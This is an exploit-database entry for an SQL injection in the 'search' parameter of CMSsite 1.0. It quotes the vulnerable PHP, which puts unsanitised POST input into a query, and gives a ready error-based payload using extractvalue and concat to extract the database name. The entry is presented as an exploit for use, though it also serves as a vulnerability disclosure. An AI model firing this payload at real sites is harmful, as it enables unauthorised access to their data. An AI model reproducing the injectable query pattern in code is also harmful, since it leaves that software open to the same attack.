CMSsite 1.0 - search SQL Injection Vulnerability

2019-01-28T00:00:00
ID 1337DAY-ID-32068
Type zdt
Reporter Majid kalantari
Modified 2019-01-28T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            # Exploit Title: CMSsite 1.0 - 'search' SQL injection
# Exploit Author : Majid kalantari ([email protected])
# Vendor Homepage : https://github.com/VictorAlagwu/CMSsite
# Software link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
# CVE: N/A
===============================================

# vulnerable file: search.php
# vulnerable parameter : POST - search

if (isset($_POST['submit'])) {
    $search = $_POST["search"];
}
$query = "SELECT * FROM posts WHERE post_tags LIKE '%$search%' AND
post_status='publish'";
$search_query = mysqli_query($con, $query);

# payload on search text box: ' and
extractvalue(1,concat(':',database(),':'))#

===============================================

#  0day.today [2019-02-06]  #